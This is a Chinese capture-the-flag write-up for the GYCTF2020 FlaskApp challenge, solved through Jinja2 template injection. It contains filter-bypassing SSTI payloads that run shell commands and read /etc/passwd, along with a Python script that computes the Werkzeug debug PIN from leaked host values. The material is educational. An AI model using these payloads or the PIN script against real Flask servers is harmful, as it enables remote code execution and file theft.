[GYCTF2020]FlaskApp

一个ssti注入的题,因为涉及到新的方法,单独拿出来。

打开以后是一个base64加密解密的界面。在提示中提示失败乃成功之母!!

首先在解密解密输入{{7*7}},发现报错,且该题开启了debug模式

测试后以下关键词没有被过滤

非预期解

我们可不可以用rce命令直接读flag呢?可是在这里过滤了一些常用的rce命令过滤了systempopenosevalimportflag

拼接字符串试试?

{{''.__class__.__base__.__subclasses__()[131].__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__("o'+'s").po'+'pen("ls /")').read()}}

{{''.__class__.__base__.__subclasses__()[77].__init__.__globals__['sys'].modules['o'+'s'].__dict__['po'+'pen']('ls /').read()}}

{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls').read()}}

发现确实返回了根目录下的文件。下面就好说了,cat读一下就好了

预期解

通过debug模式读flag

我们知道如果需要进入debug模式需要pin,而在docker中,pin的计算需要mac地址和主机地址计算

https://www.cnblogs.com/tiaopidejun/p/12357245.html

https://bbs.ichunqiu.com/thread-47685-1-1.html

 

先读一下用户名

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

返回了用户名flaskweb

读mac

当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address eth0为当前使用的网卡:

我们需要十进制数,所以把16进制转换一下10进制

读一下机器的id

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
对于docker机则读取/proc/self/cgroup
成功读到ID
接下来就是计算了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<span style="color: #000000;">import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py',
]
 
private_bits = [
    '2485410462633',
    'bc310fc52a2967aafaa05d9b74824c008f162aa1d52b4e3e3bc7c88e15b38648'
]
 
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
 
print(rv)</span>

这里我这算出来不知道为什么pin一直提示不对

* 1. 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb

* 2. modname 一般不变就是flask.app

* 3. getattr(app, “\_\_name__”, app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变

* 4. flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为 /usr/local/lib/python3.7/site-packages/flask/app.py

* 5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address eth0为当前使用的网卡:

* 6.最后一个就是机器的id。

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。

对于docker机则读取/proc/self/cgroup

后来又发现 [CISCN2019 华东南赛区]Double Secret 也可以用此方式做,

发表评论

邮箱地址不会被公开。 必填项已用*标注